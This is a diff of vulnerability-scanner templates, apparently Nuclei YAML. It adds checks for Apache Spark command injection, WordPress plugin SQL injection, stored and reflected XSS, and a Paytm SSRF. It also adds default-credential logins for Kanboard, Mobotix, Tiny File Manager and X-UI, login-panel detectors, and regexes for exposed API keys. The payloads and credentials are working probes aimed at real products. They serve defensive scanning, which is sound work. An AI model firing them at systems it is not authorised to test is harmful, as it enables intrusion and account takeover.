+    - https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
+    - http://packetstormsecurity.com/files/168309/Apache-Spark-Unauthenticated-Command-Injection.html
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2022-33891
+    cwe-id: CWE-77
+  metadata:
+    shodan-query: title:"Spark Master at"
+    verified: "true"
+  tags: cve,cve2022,apache,spark,authenticated
+
+variables:
+  command: "echo CVE-2022-33891 | rev"
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/doAs?=`{{url_encode("{{command}}")}}`'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "19833-2202-EVC"
@@ -0,0 +1,47 @@
+id: CVE-2022-3768
+
+info:
+  name: WPSmartContracts < 1.3.12 - Author SQLi
+  author: Hardik-Solanki
+  severity: high
+  description: |
+    The WPSmartContracts WordPress plugin before 1.3.12 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as author
+  reference:
+    - https://wpscan.com/vulnerability/1d8bf5bb-5a17-49b7-a5ba-5f2866e1f8a3
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3768
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-3768
+    - https://cve.report/CVE-2022-3768
+  remediation: Fixed in version 1.3.12
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2022-3768
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: wpscan,cve2022,wp-plugin,wp,authenticated,cve,wordpress,sqli,wp-smart-contracts
+
+requests:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: wordpress_test_cookie=WP%20Cookie%20check
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
+
+      - |
+        GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf)&uid=1 HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration_2>=5'
+          - 'status_code_2 == 200'
+          - 'contains(content_type_2, "text/html")'
+          - 'contains(body_2, "Batch Mint NFTs")'
+        condition: and
@@ -11,10 +11,13 @@ info:
    - https://wordpress.org/plugins/joomsport-sports-league-results-management/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4050
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
    cve-id: CVE-2022-4050
+    cwe-id: CWE-89
  metadata:
-    verified: true
-  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,joomsport-sports-league-results-management,unauth
+    verified: "true"
+  tags: cve2022,wp-plugin,wp,sqli,cve,wordpress,joomsport-sports-league-results-management,unauth,wpscan

 requests:
  - raw:
@@ -0,0 +1,68 @@
+id: CVE-2022-4260
+
+info:
+  name: WP-Ban < 1.69.1 - Admin Stored XSS
+  author: Hardik-Solanki
+  severity: medium
+  description: |
+    The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
+  reference:
+    - https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260
+    - https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk
+  remediation: Fixed in version 1.69.1
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 4.8
+    cve-id: CVE-2022-4260
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: cve2022,wp-plugin,wp,xss,authenticated,cve,wordpress,wp-ban,wpscan
+
+requests:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: wordpress_test_cookie=WP%20Cookie%20check
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1
+        Host: {{Hostname}}
+
+        _wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Referer: XSS
+
+    host-redirects: true
+    max-redirects: 2
+    cookie-reuse: true
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "<script>alert(document.domain);</script>")'
+          - 'contains(content_type_4, "text/html")'
+          - 'status_code_4 == 200'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: nonce
+        part: body
+        group: 1
+        regex:
+          - '_wpnonce=([0-9a-z]+)'
+        internal: true
@@ -9,14 +9,15 @@ info:
  reference:
    - https://fluidattacks.com/advisories/modestep/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42746
+    - https://candidats.net/
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 5.4
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
    cve-id: CVE-2022-42746
-    cwe-id: CWE-80
+    cwe-id: CWE-79
  metadata:
-    verified: true
    shodan-query: http.html:"CandidATS"
+    verified: "true"
  tags: cve,cve2022,candidats,xss

 requests:
@@ -0,0 +1,40 @@
+id: CVE-2022-45362
+
+info:
+  name: Paytm Payment Gateway Plugin <= 2.7.0 Server Side Request Forgery (SSRF)
+  author: theamanrawat
+  severity: high
+  description: |
+     Server Side Request Forgery (SSRF) vulnerability in WordPress Paytm Payment Gateway Plugin. This could allow a malicious actor to cause a website to execute website requests to an arbitrary domain of the attacker. This could allow a malicious actor to find sensitive information.
+  reference:
+    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-0-server-side-request-forgery-ssrf-vulnerability
+    - https://wordpress.org/plugins/paytm-payments/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-45362
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
+    cvss-score: 7.2
+    cve-id: CVE-2022-45362
+  metadata:
+    verified: true
+  tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,paytm-payments,unauth,oast,paytm
+
+requests:
+  - raw:
+      - |
+        GET /?paytm_action=curltest&url={{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+
+      - type: word
+        part: body
+        words:
+          - "paytm-payments.css"
+
+      - type: status
+        status:
+          - 200
@@ -11,10 +11,15 @@ info:
    - https://seclists.org/fulldisclosure/2022/Dec/7
    - https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-ilias-elearning-platform/
    - https://github.com/advisories/GHSA-hf6q-rx44-fh6j
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-45917
+    cwe-id: CWE-601
  metadata:
-    verified: true
    shodan-query: http.html:"ILIAS"
-  tags: cve,cve2022,ilias,redirect
+    verified: "true"
+  tags: seclists,cve,cve2022,ilias,redirect,packetstorm

 requests:
  - method: GET
@@ -0,0 +1,37 @@
+id: CVE-2022-46381
+
+info:
+  name: Certain Linear eMerge E3-Series - Cross Site Scripting
+  author: arafatansari
+  severity: medium
+  description: |
+    Certain Linear eMerge E3-Series devices are vulnerable to XSS via the type parameter (e.g., to the badging/badge_template_v0.php component). This affects 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.
+  reference:
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46381
+    - https://github.com/omarhashem123/Security-Research/blob/main/CVE-2022-46381/CVE-2022-46381.txt
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-46381
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.html:"Linear eMerge"
+    verified: "true"
+  tags: cve,cve2022,xss,emerge,linear
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<svg/onload="alert(document.domain)"/>'
+          - 'Badging Template'
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,60 @@
+id: kanboard-default-login
+
+info:
+  name: Kanboard Default Login
+  author: shelled
+  severity: high
+  description: Kanboard default login was discovered.
+  reference:
+    - https://twitter.com/0x_rood/status/1607068644634157059
+    - https://github.com/kanboard/kanboard
+    - https://docs.kanboard.org/v1/admin/installation/
+  metadata:
+    verified: true
+    shodan-query: http.favicon.hash:2056442365
+  tags: default-login,kanboard
+
+requests:
+  - raw:
+      - |
+        GET /?controller=AuthController&action=login HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /?controller=AuthController&action=check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username={{user}}&password={{pass}}&csrf_token={{csrf_token}}
+
+      - |
+        GET /?controller=DashboardController&action=show HTTP/1.1
+        Host: {{Hostname}}
+
+    attack: pitchfork
+    payloads:
+      user:
+        - admin
+      pass:
+        - admin
+    extractors:
+      - type: regex
+        name: csrf_token
+        part: body
+        internal: true
+        group: 1
+        regex:
+          - "hidden\" name=\"csrf_token\" value=\"([0-9a-z]+)\""
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'New project'
+          - 'Project management'
+        condition: and
+        case-insensitive: true
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,42 @@
+id: mobotix-default-credentials
+
+info:
+  name: Mobotix Webcam Default Admin Credentials
+  author: robotshell
+  severity: high
+  description: Mobotix Camera default admin login credentials.
+  reference:
+    - https://www.mobotix.com/sites/default/files/2020-01/mx_RM_CameraSoftwareManual_en_200131.pdf
+  classification:
+    cwe-id: CWE-798
+  metadata:
+    shodan-query: title:"Mobotix"
+  tags: mobotix,default-login,webcam,iot
+
+requests:
+  - raw:
+      - |
+        GET /control/userimage.html HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /control/userimage.html HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic YWRtaW46bWVpbnNt
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "!contains(body_1, 'Admin Menu')"
+          - "contains(body_2, 'Admin Menu') || contains(body_2, 'Setup Menu') || contains(body_2, 'Audio on')"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,63 @@
+id: tiny-filemanager-default-login
+
+info:
+  name: Tiny File Manager Default Login
+  author: shelled
+  severity: high
+  description: Tiny File Manager default login was discovered.
+  reference:
+    - https://github.com/prasathmani/tinyfilemanager
+    - https://tinyfilemanager.github.io/docs/
+  metadata:
+    verified: true
+    shodan-query: html:"Tiny File Manager"
+  tags: default-login,tiny,filemanager
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        fm_usr={{user}}&fm_pwd={{pass}}&token={{token}}
+
+      - |
+        GET /?p= HTTP/1.1
+        Host: {{Hostname}}
+
+    attack: pitchfork
+    payloads:
+      user:
+        - admin
+      pass:
+        - admin@123
+
+    skip-variables-check: true
+    host-redirects: true
+    max-redirects: 2
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'admin'
+          - 'You are logged in'
+          - 'Tiny File Manager'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: token
+        part: body
+        regex:
+          - '([a-f0-9]{64})'
+        internal: true
@@ -0,0 +1,48 @@
+id: xui-weak-login
+
+info:
+  name: X-UI Login Default Login
+  author: dali
+  severity: high
+  description: |
+    X-UI Default Login Credentials.
+  reference:
+    - https://github.com/vaxilu/x-ui
+    - https://seakfind.github.io/2021/10/10/X-UI/#:~:text=By%20default%2C%20the%20login%20user,the%20password%20is%20also%20admin%20.
+  classification:
+    cwe-id: CWE-798
+  metadata:
+    verified: "true"
+    shodan-query: title:"X-UI Login"
+  tags: x-ui,default-login
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login"
+    headers:
+      content-type: application/x-www-form-urlencoded
+    body: "username={{username}}&password={{password}}"
+
+    attack: pitchfork
+    payloads:
+      username:
+        - "admin"
+      password:
+        - "admin"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"success":true'
+
+      - type: word
+        part: header
+        words:
+          - 'application/json'
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,30 @@
+id: atlantis-detect
+
+info:
+  name: Atlantis Detect
+  author: jonathanwalker
+  severity: info
+  reference:
+    - https://github.com/runatlantis/atlantis
+  metadata:
+    verified: true
+    shodan-query: http.favicon.hash:-1706783005
+  tags: panel,atlantis
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'title="atlantis'
+          - 'Lock'
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: content-central-login
+
+info:
+  name: Content Central Login Panel
+  author: theabhinavgaur
+  severity: info
+  metadata:
+    verified: true
+    shodan-query: http.title:"Content Central Login"
+  tags: panel,content-central
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login.aspx"
+      - "{{BaseURL}}/ContentCentral/login.aspx/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - Content Central Login
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,29 @@
+id: creatio-login-panel
+
+info:
+  name: Creatio Login Panel
+  author: theamanrawat
+  severity: info
+  metadata:
+    verified: true
+    shodan-query: http.title:"Creatio"
+  tags: panel,creatio
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Login/NuiLogin.aspx'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '/creatio/widget'
+          - 'creatio-sdk/'
+          - 'Creatio Debug mode'
+        condition: or
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,30 @@
+id: kanboard-login
+
+info:
+  name: Kanboard Login Panel
+  author: DhiyaneshDK
+  severity: info
+  description: A Kanboard login panel was detected.
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    verified: true
+    shodan-query: http.favicon.hash:2056442365
+  tags: panel,kanboard
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+
+    host-redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '/?controller=UserAjaxController&amp;action=status'
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: loxone-panel
+
+info:
+  name: Loxone Intercom Video Login
+  author: theabhinavgaur
+  severity: info
+  metadata:
+    verified: true
+    shodan-query: http.title:"Loxone Intercom Video"
+  tags: panel,loxone
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<title>Loxone Intercom Video</title>"
+
+      - type: status
+        status:
+          - 200
@@ -1,6 +1,7 @@
 id: mikrotik-routeros

 info:
+
  name: MikroTik Router OS - Login Panel Detect
  author: gy741
  severity: info
@@ -26,8 +27,35 @@ requests:
          - '.mikrotik.com'
        condition: and

-      - type: status
-        status:
-          - 200
+      - type: word
+        name: router-old
+        part: body
+        words:
+          - '<title>mikrotik routeros > administration</title>'
+          - '<title>Mikrotik Router'
+          - '<img src="/webcfg/'
+          - '<title>MikroTik RouterOS Managing Webpage</title>'
+        condition: or

-# Enhanced by md on 2022/11/28
+      - type: word
+        name: hotspot
+        part: body
+        words:
+          - 'Please log on to use the mikrotik hotspot service'
+          - 'mikrotik hotspot > login'
+        condition: and
+
+      - type: word
+        name: mikrotik-httpproxy
+        part: header
+        words:
+          - "Server: mikrotik httpproxy"
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "<h1>RouterOS (.+)</h1>"
+          - '<div class="top">mikrotik routeros (.[0-9.]+) configuration page</div>'
+          - 'routeros (.[0-9.]+) '
+          - '<b>MikroTik RouterOS (.[0-9.]+)</b>'
@@ -0,0 +1,26 @@
+id: ncentral-panel
+
+info:
+  name: N-central Login Panel
+  author: theabhinavgaur
+  severity: info
+  metadata:
+    verified: true
+    shodan-query: http.title:"N-central Login"
+  tags: panel,n-central
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'class="ncentral"'
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,29 @@
+id: posthog-admin-panel
+
+info:
+  name: Posthog Admin Panel
+  author: theabhinavgaur
+  severity: info
+  metadata:
+    verified: true
+    shodan-query: http.title:"posthog"
+  tags: panel,posthog
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login?next=/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<title>PostHog</title>'
+          - 'content="PostHog'
+          - 'POSTHOG_HOST'
+        condition: or
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,28 @@
+id: webuzo-admin-panel
+
+info:
+  name: Webuzo Admin Panel
+  author: theamanrawat
+  severity: info
+  metadata:
+    verified: true
+    shodan-query: http.title:"Webuzo - Admin Panel"
+  tags: panel,webuzo,admin
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    host-redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Webuzo - Admin Panel'
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: xfinity-panel
+
+info:
+  name: Xfinity Panel
+  author: Hardik-Solanki
+  severity: info
+  metadata:
+    shodan-query: title:"xfinity"
+  tags: panel,xfinity
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "alt='XFINITY'"
+          - "title='XFINITY'"
+        condition: or
+
+      - type: status
+        status:
+          - 200
@@ -1,8 +1,8 @@
 id: cloud-config

 info:
-  name: Cloud Config Yaml - File Disclosure
-  author: DhiyaneshDK
+  name: Cloud Config File Exposure
+  author: DhiyaneshDK,Hardik-Solanki
  severity: medium
  reference: https://www.exploit-db.com/ghdb/7959
  metadata:
@@ -15,6 +15,7 @@ requests:
    path:
      - "{{BaseURL}}/cloud-config.yml"
      - "{{BaseURL}}/core-cloud-config.yml"
+      - '{{BaseURL}}/cloud-config.txt'

    stop-at-first-match: true
    matchers-condition: and
@@ -10,7 +10,7 @@ info:
  metadata:
    verified: true
    google-query: intitle:"index of" "wc.db"
-  tags: exposure,svn,config,files
+  tags: msf,exposure,svn,config,files

 requests:
  - method: GET
@@ -0,0 +1,29 @@
+id: ws-ftp-log
+
+info:
+  name: WS FTP File Disclosure
+  author: Hardik-Solanki
+  severity: low
+  metadata:
+    verified: true
+    google-query: intitle:"Index of" ws_ftp.log
+  tags: exposure,ftp,logs
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/ws_ftp.log'
+      - '{{BaseURL}}/WS_FTP.LOG'
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '\d{4}\.\d{2}\.\d{2} \d{2}:\d{2} [A-Z] C:\\'
+          - '\d{4}\.\d{2}\.\d{2} \d{2}:\d{2} [A-Z] D:\\'
+        condition: or
+
+      - type: status
+        status:
+          - 200
@@ -24,7 +24,7 @@ requests:
          - "(?i)[\"']?zopim[_-]?account[_-]?key[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
          - "(?i)[\"']?zhuliang[_-]?gh[_-]?token[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
          - "(?i)[\"']?zensonatypepassword[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
-          - "(?i)[\"']?zendesk[_-]?travis[_-]?github[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
+          - "(?i)zendesk(_api_token|_key|_token|-travis-github|_url|_username)(\\s|=)"
          - "(?i)[\"']?yt[_-]?server[_-]?api[_-]?key[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
          - "(?i)[\"']?yt[_-]?partner[_-]?refresh[_-]?token[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
          - "(?i)[\"']?yt[_-]?partner[_-]?client[_-]?secret[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
@@ -0,0 +1,25 @@
+id: zenscrape-api-key
+info:
+  name: Zenscrape API Key
+  author: ritikchaddha
+  severity: info
+  reference:
+    - https://github.com/trufflesecurity/trufflehog/blob/main/pkg/detectors/zenscrape/zenscrape.go
+  tags: exposure,token,zenscrape,apikey
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "zenscrape"
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - '([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})'
@@ -0,0 +1,25 @@
+id: zenserp-api-key
+info:
+  name: Zenserp Api Key
+  author: ritikchaddha
+  severity: info
+  reference:
+    - https://github.com/trufflesecurity/trufflehog/blob/main/pkg/detectors/zenserp/zenserp.go
+  tags: exposure,token,zenserp,apikey
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "zenserp"
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - '([0-9a-z-]{36})'
@@ -32,7 +32,7 @@ file:
          - "(?i)[\"']?zopim[_-]?account[_-]?key[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
          - "(?i)[\"']?zhuliang[_-]?gh[_-]?token[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
          - "(?i)[\"']?zensonatypepassword[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
-          - "(?i)[\"']?zendesk[_-]?travis[_-]?github[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
+          - "(?i)zendesk(_api_token|_key|_token|-travis-github|_url|_username)(\\s|=)"
          - "(?i)[\"']?yt[_-]?server[_-]?api[_-]?key[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
          - "(?i)[\"']?yt[_-]?partner[_-]?refresh[_-]?token[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
          - "(?i)[\"']?yt[_-]?partner[_-]?client[_-]?secret[\"']?[^\\S\r\n]*[=:][^\\S\r\n]*[\"']?[\\w-]+[\"']?"
@@ -1,16 +0,0 @@
-id: github-recovery-code
-
-info:
-  name: Github Recovery Code
-  author: geeknik
-  severity: high
-  tags: github,recovery,token,file
-
-file:
-  - extensions:
-      - all
-
-    extractors:
-      - type: regex
-        regex:
-          - '^[a-z]{1,4}[0-9]{1,4}\-[a-z0-9]{5}'
@@ -0,0 +1 @@
+2.7.25
@@ -0,0 +1 @@
+N/A
@@ -0,0 +1 @@
+1.10.4
@@ -0,0 +1 @@
+1.11.9
@@ -0,0 +1 @@
+6.0.7
@@ -0,0 +1 @@
+5.0.2
@@ -0,0 +1 @@
+4.2
@@ -0,0 +1 @@
+4.3.1.1
@@ -0,0 +1 @@
+7.71
@@ -0,0 +1 @@
+5.1.5
@@ -0,0 +1 @@
+2.4.0
@@ -0,0 +1 @@
+2.11.2
@@ -0,0 +1 @@
+3.1.27
@@ -0,0 +1 @@
+1.2.12
@@ -0,0 +1 @@
+3.1.5
@@ -0,0 +1 @@
+4.0.0
@@ -0,0 +1 @@
+N/A
@@ -0,0 +1 @@
+8.1.4
@@ -0,0 +1 @@
+2.7.2
@@ -0,0 +1 @@
+7.2.0
@@ -0,0 +1 @@
+2.0.0
@@ -0,0 +1 @@
+2.6.0
@@ -0,0 +1 @@
+1.6.2
@@ -0,0 +1 @@
+0.3
@@ -0,0 +1 @@
+3.23
@@ -0,0 +1 @@
+4.11.0
@@ -0,0 +1 @@
+2.10.1
@@ -0,0 +1 @@
+2.25.5
@@ -0,0 +1 @@
+3.2.2
@@ -0,0 +1 @@
+N/A
@@ -0,0 +1 @@
+6.4.2
@@ -0,0 +1 @@
+trunk
@@ -0,0 +1 @@
+5.7.4
@@ -0,0 +1 @@
+1.2.6.5
@@ -0,0 +1 @@
+3.0.8
@@ -0,0 +1 @@
+2.4.7
@@ -0,0 +1 @@
+N/A
@@ -0,0 +1 @@
+1.6.7
@@ -0,0 +1 @@
+3.42
@@ -0,0 +1 @@
+1.3.7
@@ -0,0 +1 @@
+1.13.4